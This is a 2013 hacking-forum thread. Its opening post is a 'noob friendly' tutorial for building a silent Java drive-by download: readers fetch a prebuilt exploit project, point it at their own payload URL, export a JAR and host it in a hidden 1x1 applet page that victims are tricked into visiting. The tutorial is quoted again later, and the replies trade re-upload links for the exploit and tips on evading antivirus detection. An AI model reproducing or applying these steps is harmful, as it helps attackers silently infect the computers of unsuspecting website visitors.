Silent Java Drive By Tutorial [NOOB FRIENDLY] [Pictures]

Silent Java Drive By Tutorial [NOOB FRIENDLY] [Pictures] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: Silent Java Drive By Tutorial [NOOB FRIENDLY] [Pictures] (/showthread.php?tid=3495467)

Pages: Pages 1 2 3 4

Silent Java Drive By Tutorial [NOOB FRIENDLY] [Pictures] - HexTheHexagon - May 21, 2013

Below i will teach you how to make a Silent Java Drive By. Enjoy!

Things you will need:
Java Eclipse
Text Editor
A Website With A Filemanager
Social Engineering Knowledge (Optimal)
A Computer

Why You Will Need These Stuff:
Java Eclipse: You will need that cause we will be programming our Java Drive By In Java.

Text Editor: You will need that cause we will need a index to put on our website.

A Website With A Filemanager: You will need that cause we will use that as the website your victim will visit. And it NEEDS file manager so we can upload the Java Drive By Files.

Social Engineering Knowledge: Social Engineering, is kinda when you are tricking someone. In our situation, we are going to trick someone going to a website with a Java Drive By

A Computer: I hope you understand why...

Lets Start!

First of all, open up Eclipse. Now make a new project. Then import a existing project. Now you will import the Java Drive By.
Download the project from: https://www.dropbox.com/s/ix41ijmayg86jim/SJDB.rar

In SJDB.rar there will be a folder named SJDB.
Now drag the SJDB Folder to your Desktop.

Now back to Eclipse. And import the SJDB folder from your Desktop.
Now if you successfully imported SJDB it should look something like this:
Spoiler (Click to View)
Congratulations! You made the first step!

Now click The Drop Down Arrow on exploit2
Spoiler (Click to View)

Now click The Drop Down Arrow on src
Spoiler (Click to View)

Now click The Drop Down Arrow on defgd11
Spoiler (Click to View)

Now you will see 2 classes. 1 of them is named Base64.java and another one is named LMkjes.java
Now you will double-click LMkjes.java

Then you will see this:
Spoiler (Click to View)

Then scroll down until you see this:
Spoiler (Click to View)

Now replace the URL with your servers URL (Must be a direct download)

Then finally, export the project:

Spoiler (Click to View)

Now when you clicked the Export... Button You Will See This:
Spoiler (Click to View)

Click the Java drop down arrow, and select JAR file. Then hit Next.

Now you will see this:
Spoiler (Click to View)
MAKE SURE THAT exploit2 IS CHECKED!

Then save it in whatever location you want, i made a Folder on my desktop named Java Drive By.
Then hit FINISH 😁

Now go to the folder there you saved the Java Drive By.
Spoiler (Click to View)

Now go to your text editor and paste this inside it:

Code 
<html><head></head><body><applet archive="YOUR JAVA DRIVE BY FILE NAME HERE" code="DFE42z.class" width="1" height="1"></applet></body

</html>

Then save it as index.htm in same directory as your java drive by file.
Then upload both files to your website and your DONE!

If you have any questions, post in comments!

* - Tutelary - May 21, 2013

It's not making a JDB that is difficult. Any person with half a brain can do that, it's about finding a FUD .jar file to make sure it isn't detected too much by AV scanners. (Else they'll block the website and the execution.)

* - Mustnabs - May 22, 2013

Does anyone know a FUD .jar files that are free?

* - jamdunguy - May 22, 2013

Gonna give this a try in the morning.

* - icheesy - May 23, 2013

This was leeched off another forum o.o
external forum link posted on 04-06-2013 (not trying to advertise)

weird

* - bbmayem - Jun 3, 2013

everyone is here talking about a FUD server??

but when i build a server with jrat and i scan it with http://vscan.novirusthanks.org/ (YOU MUST SELECT " Do not distribute the sample " !!!! ) it's not detected.

so my server is FUD

or am i wrong?

* - Broda - Jun 3, 2013

(Jun 3, 2013 06:58 AM)bbmayem Wrote: everyone is here talking about a FUD server??

but when i build a server with jrat and i scan it with http://vscan.novirusthanks.org/ (YOU MUST SELECT " Do not distribute the sample " !!!! ) it's not detected.

so my server is FUD

or am i wrong?

I think they are talking about the java applet (usually applet.jar) that is detected. If I'm right, the applet just executes your server. Not sure tho, I'm not too experienced with JDBs yet.

* - Count Alucard - Jul 13, 2013

Is this still working for everyone else? I have tried it, but my file will not get executed. I do have everything setup right.

* - JyePie - Jul 13, 2013

Can anyone confirm this please??? :D //

* - paladin007 - Sep 27, 2013

(May 21, 2013 12:57 PM)HexTheHexagon Wrote: Below i will teach you how to make a Silent Java Drive By. Enjoy!

Things you will need:
Java Eclipse
Text Editor
A Website With A Filemanager
Social Engineering Knowledge (Optimal)
A Computer

Why You Will Need These Stuff:
Java Eclipse: You will need that cause we will be programming our Java Drive By In Java.

Text Editor: You will need that cause we will need a index to put on our website.

A Website With A Filemanager: You will need that cause we will use that as the website your victim will visit. And it NEEDS file manager so we can upload the Java Drive By Files.

Social Engineering Knowledge: Social Engineering, is kinda when you are tricking someone. In our situation, we are going to trick someone going to a website with a Java Drive By

A Computer: I hope you understand why...

Lets Start!

First of all, open up Eclipse. Now make a new project. Then import a existing project. Now you will import the Java Drive By.
Download the project from: https://www.dropbox.com/s/ix41ijmayg86jim/SJDB.rar

In SJDB.rar there will be a folder named SJDB.
Now drag the SJDB Folder to your Desktop.

Now back to Eclipse. And import the SJDB folder from your Desktop.
Now if you successfully imported SJDB it should look something like this:
Spoiler (Click to View)
Congratulations! You made the first step!

Now click The Drop Down Arrow on exploit2
Spoiler (Click to View)

Now click The Drop Down Arrow on src
Spoiler (Click to View)

Now click The Drop Down Arrow on defgd11
Spoiler (Click to View)

Now you will see 2 classes. 1 of them is named Base64.java and another one is named LMkjes.java
Now you will double-click LMkjes.java

Then you will see this:
Spoiler (Click to View)

Then scroll down until you see this:
Spoiler (Click to View)

Now replace the URL with your servers URL (Must be a direct download)

Then finally, export the project:

Spoiler (Click to View)

Now when you clicked the Export... Button You Will See This:
Spoiler (Click to View)

Click the Java drop down arrow, and select JAR file. Then hit Next.

Now you will see this:
Spoiler (Click to View)
MAKE SURE THAT exploit2 IS CHECKED!

Then save it in whatever location you want, i made a Folder on my desktop named Java Drive By.
Then hit FINISH 😁

Now go to the folder there you saved the Java Drive By.
Spoiler (Click to View)

Now go to your text editor and paste this inside it:

Code
<html><head></head><body><applet archive="YOUR JAVA DRIVE BY FILE NAME HERE" code="DFE42z.class" width="1" height="1"></applet></body </html>

Then save it as index.htm in same directory as your java drive by file.
Then upload both files to your website and your DONE!

If you have any questions, post in comments!

the project has been removed from DB... can anyone reupload the project.. Thanks

* - sehpphire - Sep 28, 2013

can anyone reupload the project.. Thanks.Reupload the file sir.

* - Count Alucard - Sep 28, 2013

(Sep 28, 2013 02:42 AM)sehpphire Wrote: can anyone reupload the project.. Thanks.Reupload the file sir.

Here is the link for everyone. https://dl.dropboxusercontent.com/u/11622029/SJDB.rar
Re-uploaded it on my Drop box, found it still sitting in a folder after I couldn't get it to work. If any of you get it work work let me know, enjoy.

* - whosdatguy - Oct 4, 2013

Oh awesome! You really re-uploaded the files! :) I'm going to test it right now.
Thanks in advance dude (Y)

* - paladin007 - Oct 5, 2013

Thanks for the reupload .... cheers... but the sjdb is detected by antivirus.... :(

* - jakoozie - Oct 5, 2013

I test with nodistribute.com and the result is: 12/35

http://NoDistribute.com/result/Ttb47cG1Jys